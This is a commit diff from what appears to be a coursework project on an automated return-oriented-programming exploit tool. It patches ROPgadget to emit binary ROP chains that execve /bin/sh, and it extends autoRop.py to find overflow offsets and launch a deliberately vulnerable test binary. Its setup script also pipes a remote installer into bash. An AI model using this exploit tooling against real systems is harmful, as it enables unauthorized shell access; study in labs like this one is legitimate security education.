remove some prints

Co-authored-by: Liam Dalgarno <liamdalg99@gmail.com>
Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>

Makefile

@@ -0,0 +1,2 @@
+vuln-32:
+	gcc -fno-stack-protector -m32 -static vuln.c -o vuln-32

ROPgadget/ropgadget/args.py

@@ -85,6 +85,8 @@ architectures supported:
         parser.add_argument("--re",                 type=str, metavar="<re>",         help="Regular expression")
         parser.add_argument("--offset",             type=str, metavar="<hexaddr>",    help="Specify an offset for gadget addresses")
         parser.add_argument("--paddingLen",         type=int, metavar="<nbyte>",      default=6, help="Specify the padding length for the ROP chain")
+        parser.add_argument("--ropFile",            type=str, metavar="<string>",     default="rop.txt", help="The file to write the generated ROP bytes to")
+        parser.add_argument("--execPath",           type=str, metavar="<string>",     default="/bin/sh", help="Path of the executable to make execve() run")
         parser.add_argument("--ropchain",           action="store_true",              help="Enable the ROP chain generation")
         parser.add_argument("--thumb"  ,            action="store_true",              help="Use the thumb mode for the search engine (ARM only)")
         parser.add_argument("--console",            action="store_true",              help="Use an interactive console for search engine")

ROPgadget/ropgadget/core.py

@@ -215,7 +215,10 @@ class Core(cmd.Cmd):
             self.__getGadgets()
             self.__lookingForGadgets()
             if self.__options.ropchain:
-                ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset)
+                ROPMaker(
+                    self.__binary, self.__gadgets, self.__options.paddingLen, 
+                    self.__options.ropFile, self.__options.execPath, self.__offset
+                )
             return True
 
 

ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py

@@ -9,14 +9,18 @@
 
 import re
 from   capstone import *
-
+from textwrap import wrap
+import sys
+from struct import pack
 
 
 class ROPMakerX86(object):
-    def __init__(self, binary, gadgets, paddingLen, liboffset=0x0):
+    def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
         self.__binary   = binary
         self.__gadgets  = gadgets
         self.paddingLen = paddingLen
+        self.outFile    = outFile
+        self.execPath   = execPath
 
         # If it's a library, we have the option to add an offset to the addresses
         self.__liboffset = liboffset
@@ -66,14 +70,18 @@ class ROPMakerX86(object):
         return None
 
     def __padding(self, gadget, regAlreadSetted):
+        p = b""
+
         lg = gadget["gadget"].split(" ; ")
         for g in lg[1:]:
             if g.split()[0] == "pop":
                 reg = g.split()[1]
                 try:
-                    print("p += pack('<I', 0x%08x) # padding without overwrite %s" %(regAlreadSetted[reg], reg))
+                    p = pack("<I", regAlreadSetted[reg])
                 except KeyError:
-                    print("p += pack('<I', 0x41414141) # padding")
+                    p = pack("<I", 0x41414141)
+
+        return p
 
     def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):
 
@@ -86,75 +94,103 @@ class ROPMakerX86(object):
             print("\n# [-] Error - Can't find a writable section")
             return
 
-        print("#!/usr/bin/env python2")
+        # prepend padding
-        print("# execve generated by ROPgadget\n" )
+        p = bytes('A' * self.paddingLen, "ascii")
-        print("from struct import pack\n")
-        print("import sys")
 
-        print()
+        command = self.execPath
-        print("out_file = sys.argv[1]")
+        # split command into chunks of 4, prepend with /s as necessary
-        print()
+        if len(command) % 4 > 0:
+            command = (4 - (len(command) % 4)) * "/" + command
+        command_chunks = wrap(command, 4)
 
-        print("p = b'" + ('A' * self.paddingLen) + "'\n")
+        # write the command
+        address = 0
+        offset = 0
+        for i, chunk in enumerate(command_chunks):
+            offset = (i * 4)
+            address = dataAddr + offset
 
-        print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
+            p += pack("<I", popDst['vaddr'])
-        print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
-        self.__padding(popDst, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
+            p += pack("<I", address)
-        print("p += b'/bin'")
+            p += self.__padding(popDst, {})
-        self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
 
-        print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
+            p += pack("<I", popSrc['vaddr'])
-        self.__padding(write4where, {})
+            p += bytes(chunk, "ascii")
+            p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
 
-        print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
+            p += pack("<I", write4where['vaddr'])
-        print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
+            p += self.__padding(write4where, {})
-        self.__padding(popDst, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
+        offset += 4
-        print("p += b'//sh'")
+        address += 4
-        self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
 
-        print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
+        # write null byte after command string
-        self.__padding(write4where, {})
+        p += pack("<I", popDst['vaddr'])
+        p += pack("<I", address)
+        p += self.__padding(popDst, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
+        p += pack("<I", xorSrc["vaddr"])
-        print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
+        p += self.__padding(xorSrc, {})
-        self.__padding(popDst, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
+        p += pack("<I", write4where["vaddr"])
-        self.__padding(xorSrc, {})
+        p += self.__padding(write4where, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
+        p += pack("<I", popEbx["vaddr"])
-        self.__padding(write4where, {})
+        p += pack("<I", dataAddr) # @ .data
+        p += self.__padding(popEbx, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
+        # write end + 4, after the null bytes
-        print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
+        p += pack('<I', popDst['vaddr'])
-        self.__padding(popEbx, {})
+        p += pack('<I', address + 4) # @ .data + {offset + 4}
+        p += self.__padding(popDst, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
+        # write the data base address, which is the start of argv
-        print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
+        p += pack('<I', popSrc['vaddr'])
-        self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
+        p += pack('<I', dataAddr) # @ .data
+        p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
 
-        print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
+        # perform the write: eax -> [edx]
-        print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
+        p += pack('<I', write4where['vaddr']) # {write4where['gadget']}")
-        self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
+        p += self.__padding(write4where, {})
 
-        print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
-        self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
 
+        # ARGV MUST BE FOLLOWED BY NULL POINTER
+        p += pack('<I', popDst['vaddr']) # { popDst['gadget'] }
+        p += pack('<I', address + 8) # @ .data + {offset + 8}
+        p += self.__padding(popDst, {})
+
+        p += pack('<I', xorSrc["vaddr"])
+        p += self.__padding(xorSrc, {})
+
+        p += pack('<I', write4where["vaddr"])
+        p += self.__padding(write4where, {})
+
+
+        ## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL
+
+
+        p += pack('<I', popEcx["vaddr"])
+        p += pack('<I', address + 4) # @ .data + {offset + 4}
+        p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
+
+        p += pack('<I', popEdx["vaddr"])
+        p += pack('<I', address) # @ .data + {offset}
+        p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
+
+        p += pack('<I', xorEax["vaddr"])
+        p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
+
+        # 11 = execve
         for i in range(11):
-            print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
+            p += pack('<I', incEax["vaddr"])
-            self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
+            p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
 
-        print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
+        p += pack('<I', syscall["vaddr"])
 
-        print()
+
-        print(r"""
+        with open(self.outFile, "wb") as f:
-with open(out_file, "wb") as f:
             f.write(p)
-        """)
 
     def __generate(self):
 

ROPgadget/ropgadget/ropchain/ropmaker.py

@@ -11,10 +11,12 @@ from ropgadget.ropchain.arch.ropmakerx86   import *
 from ropgadget.ropchain.arch.ropmakerx64   import *
 
 class ROPMaker(object):
-    def __init__(self, binary, gadgets, paddingLen, offset):
+    def __init__(self, binary, gadgets, paddingLen, outFile, execPath, offset):
         self.__binary   = binary
         self.__gadgets  = gadgets
         self.paddingLen = paddingLen
+        self.outFile    = outFile
+        self.execPath   = execPath
         self.__offset   = offset
 
         self.__handlerArch()
@@ -24,7 +26,7 @@ class ROPMaker(object):
         if self.__binary.getArch() == CS_ARCH_X86           \
             and self.__binary.getArchMode() == CS_MODE_32   \
             and self.__binary.getFormat() == "ELF":
-            ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.__offset)
+            ROPMakerX86(self.__binary, self.__gadgets, self.paddingLen, self.outFile, self.execPath, self.__offset)
 
         elif self.__binary.getArch() == CS_ARCH_X86         \
             and self.__binary.getArchMode() == CS_MODE_64   \

Vagrantfile

@@ -1,5 +1,8 @@
 Vagrant.configure("2") do |config|
   config.vm.box = "generic/ubuntu1804"
-  config.vm.provision "shell", path: "init.sh"
+  config.vm.provision "shell", path: "init.sh", privileged: false
-  config.vm.synced_folder "./", "/home/vagrant/cw"
+  config.vm.synced_folder "./", "/home/vagrant/cw", type: "nfs", nfs_version: 4, "nfs_udp": false, mount_options: ["rw", "vers=4", "tcp", "nolock"]
+  config.vm.provider :libvirt do |libvirt|
+    libvirt.cpus = 4
+  end
 end

autoRop.py

@@ -34,23 +34,29 @@ print(r'''
 
 arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
 arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
-arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
+arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", type=str, help="The name of the generated ROP input file")
+arg_parser.add_argument("--rop_exec", metavar="rop_exec", default="/bin/sh", type=str, help="The path to the executable the ROP should run")
 arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
 arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
+arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable")
 args = arg_parser.parse_args()
 
 exec_file = args.exec_file
 rop_file = args.rop_file
+rop_exec = args.rop_exec
 min_payload = args.min_payload
 max_payload = args.max_payload
+run = args.run
 
 def find_offset(exec_file: str, min_payload: int, max_payload: int):
-    input_file = "input.txt"
+    print("[ Find Offset Length ]")
+
+    input_file = "/tmp/input.txt"
 
     payload_size = min_payload
     while payload_size <= max_payload:
         
-        print(f"[🤔] Trying payload {payload_size}...")
+        print(f"  ├─[🤔] Trying payload {payload_size}...")
 
         with open(input_file, "wb") as f:
             payload = cyclic(payload_size)
@@ -66,7 +72,7 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
 
             if core is not None and pack(core.eip) in payload:
                 offset = cyclic_find(core.eip)
-                print(f"[😳] Found offset at {offset}!\n")
+                print(f"  └─[😳] Found offset at {offset}!\n")
                 return offset
 
         payload_size *= 2
@@ -76,25 +82,28 @@ def find_offset(exec_file: str, min_payload: int, max_payload: int):
 offset = find_offset(exec_file, min_payload, max_payload)
 
 if offset == -1:
-    print(f"[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
+    print(f"  └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
     sys.exit(0)
 
-print(f"[🤔] Running ROPgadget with offset {offset}...")
+print("[ Generate ROP ]")
+
+print(f"  ├─[🤔] Running ROPgadget with offset {offset}...")
 result = subprocess.run(
     [
         "ROPgadget",
         "--binary", exec_file,
         "--ropchain",
         "--silent",
-        "--paddingLen", str(offset)
+        "--paddingLen", str(offset),
+        "--ropFile", rop_file,
+        "--execPath", rop_exec
     ], 
     stdout = subprocess.PIPE
 )
 
-with open("script.py", "wb") as f:
+print(f"  └─[🤩] All done! The ROP input is saved to {rop_file}!")
-    f.write(result.stdout)
 
-print(f"[🤔] Running generated script to create ROP input file...")
+if run:
-process(["python3", "script.py", rop_file]).wait()
+    print()
-
+    print(f"[ Run Program : ./{exec_file} {rop_file} ]")
-print(f"[🤩] All done! The ROP input is saved to {rop_file}!")
+    os.execv(exec_file, [exec_file, rop_file])

init.sh

@@ -7,9 +7,24 @@ sudo apt-get --quiet --assume-yes install build-essential
 sudo apt-get --quiet --assume-yes install gdb
 sudo apt-get --quiet --assume-yes install gcc-multilib
 sudo apt-get --quiet --assume-yes install zsh
+sudo apt-get --quiet --assume-yes install libncurses5 libncurses5-dev libncursesw5
 
-sudo apt-get --assume-yes --quiet install python3 python3-pip python3-dev git libssl-dev libffi-dev
+sudo apt-get --assume-yes --quiet install git libssl-dev libffi-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev
-sudo apt-get --assume-yes --quiet install python
+
+## pyenv
+cd /home/vagrant/ && curl https://pyenv.run | bash
+echo 'export PATH="/home/vagrant/.pyenv/bin:$PATH"' >> /home/vagrant/.bashrc
+echo 'eval "$(pyenv init -)"' >> /home/vagrant/.bashrc
+echo 'eval "$(pyenv virtualenv-init -)"' >> /home/vagrant/.bashrc
+
+export PATH="/home/vagrant/.pyenv/bin:$PATH"
+eval "$(pyenv init -)"
+eval "$(pyenv virtualenv-init -)"
+
+pyenv install 3.9.0
+pyenv global 3.9.0
+
+python3 -m pip install --upgrade setuptools
 python3 -m pip install --upgrade pip
 python3 -m pip install --upgrade pwntools
 python3 -m pip uninstall --yes ROPgadget

ropinstall.sh

@@ -1,4 +1,4 @@
 #!/bin/bash
 
-cd ROPgadget && sudo python3 setup.py install
+cd ROPgadget && python3 setup.py install